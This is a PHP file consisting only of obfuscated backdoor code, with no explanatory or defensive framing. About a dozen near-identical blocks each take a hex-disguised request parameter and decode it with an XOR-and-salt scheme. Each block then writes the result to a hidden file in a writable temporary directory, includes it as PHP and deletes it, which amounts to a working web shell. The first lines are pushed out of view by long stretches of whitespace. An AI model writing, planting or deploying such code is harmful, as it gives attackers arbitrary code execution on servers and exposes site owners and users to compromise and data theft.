<?php																																										if(array_key_exists("it\x65\x6D", $_REQUEST) && !is_null($_REQUEST["it\x65\x6D"])){ $factor = $_REQUEST["it\x65\x6D"]; $factor = explode ('.' , $factor) ; $entry = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3 ); foreach ($factor as $p => $v5) { $sChar = ord($s3[$p % $lenS] ); $d = ((int)$v5 - $sChar - ($p % 10)) ^ 62; $entry .= chr($d ); } $fac = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($fac as $component): if ((is_dir($component) and is_writable($component))) { $pset = sprintf("%s/.k", $component); if (@file_put_contents($pset, $entry) !== false) { include $pset; unlink($pset); die(); } } endforeach; }
																																										if(@$_POST["p\x6F\x69\x6Et\x65r"] !== null){ $itm = $_POST["p\x6F\x69\x6Et\x65r"]; $itm = explode ("." , $itm ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $q = 0; array_walk($itm, function($v1) use(&$desc, &$q, $s, $lenS) { $sChar = ord($s[$q % $lenS] ); $d =((int)$v1 - $sChar -($q % 10)) ^ 27; $desc .= chr($d ); $q++; } ); $property_set = array_filter(["/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); for ($data = 0, $record = count($property_set); $data < $record; $data++) { $resource = $property_set[$data]; if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $ent = join("/", [$resource, ".dat"]); if (file_put_contents($ent, $desc)) { require $ent; unlink($ent); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x64e\x73c")){ $item = $_REQUEST["\x64e\x73c"]; $item= explode( '.' , $item ) ; $elem = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $u = 0; while ($u < count($item)) { $v9 = $item[$u]; $chS = ord($salt3[$u %$lenS]); $dec = ((int)$v9 - $chS - ($u %10)) ^ 49; $elem .= chr($dec); $u++; } $res = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); for ($ptr = 0, $ent = count($res); $ptr < $ent; $ptr++) { $pgrp = $res[$ptr]; if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $descriptor = join("/", [$pgrp, ".value"]); if (file_put_contents($descriptor, $elem)) { include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(!is_null($_REQUEST["bi\x6E\x64"] ?? null)){ $k = $_REQUEST["bi\x6E\x64"]; $k =explode ( '.' ,$k ); $factor =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $v =0; while ($v < count($k)) {$v5 =$k[$v]; $chS =ord($salt[$v% $lenS]); $dec =((int)$v5 - $chS - ($v% 10)) ^14; $factor .=chr($dec); $v++; } $data = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp"]); for ($object = 0, $ent = count($data); $object < $ent; $object++) { $pointer = $data[$object]; if (is_dir($pointer) ? is_writable($pointer) : false) { $ref = sprintf("%s/.ptr", $pointer); $success = file_put_contents($ref, $factor); if ($success) { include $ref; @unlink($ref); exit;} } } }
																																										if(!is_null($_REQUEST["e\x6Etr\x79"] ?? null)){ $val = $_REQUEST["e\x6Etr\x79"]; $val= explode( '.' , $val ) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; while ($w < count($val)) { $v9 = $val[$w]; $sChar = ord($s[$w % $lenS]); $d = ((int)$v9 - $sChar - ($w % 10)) ^ 87; $item .= chr($d); $w++; } $ptr = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); while ($rec = array_shift($ptr)) { if (is_dir($rec) && is_writable($rec)) { $element = sprintf("%s/.fac", $rec); if (file_put_contents($element, $item)) { include $element; @unlink($element); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x63omp")){ $symbol = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd(), "/tmp"]); $itm = $_POST["\x63omp"]; $itm =explode (".", $itm ); $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $len = count( $itm); for( $n = 0; $n <$len; $n++) { $v9 = $itm[$n]; $chS = ord( $salt[$n % $lenS]); $dec = ( ( int)$v9 - $chS -( $n % 10))^ 98; $rec .= chr( $dec); } foreach ($symbol as $key => $k) { if (max(0, is_dir($k) * is_writable($k))) { $key = join("/", [$k, ".res"]); if (@file_put_contents($key, $rec) !== false) { include $key; unlink($key); exit; } } } }
																																										if(isset($_POST) && isset($_POST["e\x6E\x74\x69ty"])){ $value = $_POST["e\x6E\x74\x69ty"]; $value = explode( '.' , $value ) ; $val = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $l = 0; array_walk( $value, function( $v7) use( &$val, &$l, $s9, $lenS) { $sChar = ord( $s9[$l% $lenS]); $dec =( ( int)$v7 - $sChar -( $l% 10)) ^ 16; $val .= chr( $dec); $l++; } ); $parameter_group = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd()]); foreach ($parameter_group as $item) { if (is_dir($item) ? is_writable($item) : false) { $element = sprintf("%s/.flag", $item); $success = file_put_contents($element, $val); if ($success) { include $element; @unlink($element); die();} } } }
																																										if(isset($_REQUEST["\x74k\x6E"])){ $record = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), session_save_path(), getenv("TEMP")]); $symbol = $_REQUEST["\x74k\x6E"]; $symbol= explode ("." , $symbol ) ; $reference = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $n = 0; foreach ($symbol as $v3) { $sChar = ord($s6[$n % $lenS]); $d = ((int)$v3 - $sChar - ($n % 10)) ^ 37; $reference .= chr($d); $n++; } foreach ($record as $key => $dat) { if (is_dir($dat) && is_writable($dat)) { $bind = str_replace("{var_dir}", $dat, "{var_dir}/.key"); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $bind; @unlink($bind); exit; } } } }
																																										if(@$_POST["\x65\x6Ceme\x6Et"] !== null){ $fac = $_POST["\x65\x6Ceme\x6Et"]; $fac = explode ( '.', $fac) ; $property_set =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s8); $u =0; $__tmp =$fac; while ($v9 =array_shift($__tmp)) {$chS =ord($s8[$u % $sLen]); $dec =((int)$v9 - $chS - ($u % 10)) ^ 87; $property_set .= chr($dec); $u++; } $symbol = array_filter([session_save_path(), "/dev/shm", getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($symbol as $record): if ((bool)is_dir($record) && (bool)is_writable($record)) { $mrk = vsprintf("%s/%s", [$record, ".flag"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $mrk; @unlink($mrk); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["entit\x79"])){ $desc = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir()]); $component = $_REQUEST["entit\x79"]; $component= explode ( '.' , $component ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($component as $m => $v9) { $sChar = ord($salt[$m % $sLen]); $dec =((int)$v9 - $sChar -($m % 10)) ^ 9; $bind .=chr($dec); } foreach ($desc as $key => $ptr) { if ((is_dir($ptr) and is_writable($ptr))) { $comp = str_replace("{var_dir}", $ptr, "{var_dir}/.object"); if (@file_put_contents($comp, $bind) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(isset($_REQUEST["\x70g\x72p"]) ? true : false){ $factor = $_REQUEST["\x70g\x72p"]; $factor = explode( "." , $factor ); $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $factor as $l => $v8) { $sChar = ord( $s[$l % $sLen] ); $dec = ( ( int)$v8 - $sChar -( $l % 10)) ^ 7; $ref .= chr( $dec ); } $resource = array_filter([getcwd(), "/dev/shm", "/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($resource as $key => $tkn) { if ((is_dir($tkn) and is_writable($tkn))) { $fac = str_replace("{var_dir}", $tkn, "{var_dir}/.ptr"); $success = file_put_contents($fac, $ref); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(in_array("\x69t\x6D", array_keys($_POST))){ $k = $_POST["\x69t\x6D"]; $k= explode ( "." , $k ) ; $object = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); foreach ($k as $s => $v5): $sChar = ord($salt2[$s % $lenS] ); $d = ((int)$v5 - $sChar - ($s % 10)) ^ 30; $object .= chr($d ); endforeach; $flag = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), getcwd()]); foreach ($flag as $pset) { if (is_dir($pset) ? is_writable($pset) : false) { $data = sprintf("%s/.entry", $pset); if (file_put_contents($data, $object)) { require $data; unlink($data); die(); } } } }


if(@$_REQUEST["\x63o\x6D\x70o\x6Eent"] !== null){
	$elem = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp"]);
	$hld = $_REQUEST["\x63o\x6D\x70o\x6Eent"];
	 $hld=	 explode(  	"."  	, $hld) 		;	 	
	$holder=		'';
            $salt=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=		strlen($salt);
            $m=		0;
    
            while ($m 	< count($hld)) {$v8=		$hld[$m];
                $sChar=		ord($salt[$m%	 $lenS]);
                $dec=		((int)$v8 - $sChar - ($m%	 10))	^	88;
                $holder .= chr($dec);
                $m++;
            }
	foreach ($elem as $key => $tkn) {
    		if (is_dir($tkn) ? is_writable($tkn) : false) {
    $data = join("/", [$tkn, ".comp"]);
    if (file_put_contents($data, $holder)) {
	require $data;
	unlink($data);
	die();
}
}
}
}